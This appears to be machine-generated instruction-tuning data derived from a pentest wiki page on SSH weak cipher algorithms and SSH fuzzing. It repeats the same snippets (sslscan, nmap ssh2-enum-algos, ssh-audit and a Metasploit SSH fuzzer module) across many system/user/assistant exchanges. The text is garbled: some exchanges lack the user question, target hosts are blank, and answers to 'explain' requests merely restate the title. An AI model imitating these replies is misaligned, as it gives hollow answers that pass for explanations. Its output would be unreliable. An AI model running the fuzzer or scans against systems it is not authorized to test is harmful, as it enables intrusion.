Some auditing tools can help to quikly find the target version and which algorithms are available on the server in order to give recommendations to the customer.

::: tabs

=== sslscan

``bash
sslscan :22
`

=== nmap

`bash
nmap -p22 -n -sV --script ssh2-enum-algos
`

=== ssh-audit

`bash
ssh-audit -p 22 -4
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does 🛠 SSH - Weak Cipher Algorithms work?

Response:
Some auditing tools can help to quikly find the target version and which algorithms are available on the server in order to give recommendations to the customer.

::: tabs

=== sslscan

``bash
sslscan :22
`

=== nmap

`bash
nmap -p22 -n -sV --script ssh2-enum-algos
`

=== ssh-audit

`bash
ssh-audit -p 22 -4
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 🛠 SSH - Weak Cipher Algorithms

[Assistant]
Some auditing tools can help to quikly find the target version and which algorithms are available on the server in order to give recommendations to the customer.

::: tabs

=== sslscan

``bash
sslscan :22
`

=== nmap

`bash
nmap -p22 -n -sV --script ssh2-enum-algos
`

=== ssh-audit

`bash
ssh-audit -p 22 -4
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through 🛠 SSH - Weak Cipher Algorithms

Response:
Some auditing tools can help to quikly find the target version and which algorithms are available on the server in order to give recommendations to the customer.

::: tabs

=== sslscan

``bash
sslscan :22
`

=== nmap

`bash
nmap -p22 -n -sV --script ssh2-enum-algos
`

=== ssh-audit

`bash
ssh-audit -p 22 -4
``

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the sslscan command to 🛠 ssh - weak cipher algorithms

[Assistant] sslscan :22

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the sslscan command to 🛠 ssh - weak cipher algorithms

Response: sslscan :22


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 🛠 SSH - Weak Cipher Algorithms

[Assistant] sslscan :22

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: sslscan :22


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `sslscan :22`?

[Assistant] This command is used for 🛠 ssh - weak cipher algorithms. Weak Cipher Algorithms

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `sslscan :22`?

Response: This command is used for 🛠 ssh - weak cipher algorithms. Weak Cipher Algorithms


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the nmap command for 🛠 ssh - weak cipher algorithms

[Assistant] nmap -p22 -n -sV --script ssh2-enum-algos

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the nmap command for 🛠 ssh - weak cipher algorithms

Response: nmap -p22 -n -sV --script ssh2-enum-algos


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute 🛠 SSH - Weak Cipher Algorithms?

[Assistant] nmap -p22 -n -sV --script ssh2-enum-algos

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute 🛠 SSH - Weak Cipher Algorithms?

Response: nmap -p22 -n -sV --script ssh2-enum-algos


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `nmap -p22 -n -sV --script ssh2-enum-algos`?

[Assistant] This command is used for 🛠 ssh - weak cipher algorithms. Weak Cipher Algorithms

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `nmap -p22 -n -sV --script ssh2-enum-algos`?

Response: This command is used for 🛠 ssh - weak cipher algorithms. Weak Cipher Algorithms


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the ssh-audit syntax for 🛠 ssh - weak cipher algorithms?

[Assistant] ssh-audit -p 22 -4

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the ssh-audit syntax for 🛠 ssh - weak cipher algorithms?

Response: ssh-audit -p 22 -4


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on 🛠 SSH - Weak Cipher Algorithms

[Assistant] ssh-audit -p 22 -4

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on 🛠 SSH - Weak Cipher Algorithms

Response: ssh-audit -p 22 -4


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `ssh-audit -p 22 -4`?

[Assistant] This command is used for 🛠 ssh - weak cipher algorithms. Weak Cipher Algorithms

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `ssh-audit -p 22 -4`?

Response: This command is used for 🛠 ssh - weak cipher algorithms. Weak Cipher Algorithms


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain 🛠 SSH - SSH fuzzing

[Assistant]
Fuzzing the SSH service could help to find vulnerabilities. The automated fuzzing is simple but not very targeted so it usually takes a lot of time and could miss some results.\
The custom and the manual approach is more effective but it takes time to familiarize yourself with the target. Here is an example of a custom fuzzing : Fuzzing the OpenSSH daemon using AFL.

::: tabs

=== Automated fuzzing

``bash
msfconsole
use auxiliary/fuzzers/ssh/ssh_version_2
set RHOSTS
run
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Fuzzing the SSH service could help to find vulnerabilities. The automated fuzzing is simple but not very targeted so it usually takes a lot of time and could miss some results.\
The custom and the manual approach is more effective but it takes time to familiarize yourself with the target. Here is an example of a custom fuzzing : Fuzzing the OpenSSH daemon using AFL.

::: tabs

=== Automated fuzzing

``bash
msfconsole
use auxiliary/fuzzers/ssh/ssh_version_2
set RHOSTS
run
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for 🛠 SSH - SSH fuzzing?

[Assistant]
Fuzzing the SSH service could help to find vulnerabilities. The automated fuzzing is simple but not very targeted so it usually takes a lot of time and could miss some results.\
The custom and the manual approach is more effective but it takes time to familiarize yourself with the target. Here is an example of a custom fuzzing : Fuzzing the OpenSSH daemon using AFL.

::: tabs

=== Automated fuzzing

``bash
msfconsole
use auxiliary/fuzzers/ssh/ssh_version_2
set RHOSTS
run
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for 🛠 SSH - SSH fuzzing?

Response:
Fuzzing the SSH service could help to find vulnerabilities. The automated fuzzing is simple but not very targeted so it usually takes a lot of time and could miss some results.\
The custom and the manual approach is more effective but it takes time to familiarize yourself with the target. Here is an example of a custom fuzzing : Fuzzing the OpenSSH daemon using AFL.

::: tabs

=== Automated fuzzing

``bash
msfconsole
use auxiliary/fuzzers/ssh/ssh_version_2
set RHOSTS
run
``

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the msfconsole command for 🛠 ssh - ssh fuzzing

[Assistant]
msfconsole
use auxiliary/fuzzers/ssh/ssh_version_2
set RHOSTS
run

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the msfconsole command for 🛠 ssh - ssh fuzzing

Response:
msfconsole
use auxiliary/fuzzers/ssh/ssh_version_2
set RHOSTS
run


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute 🛠 SSH - SSH fuzzing?

[Assistant]
msfconsole
use auxiliary/fuzzers/ssh/ssh_version_2
set RHOSTS
run

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
msfconsole
use auxiliary/fuzzers/ssh/ssh_version_2
set RHOSTS
run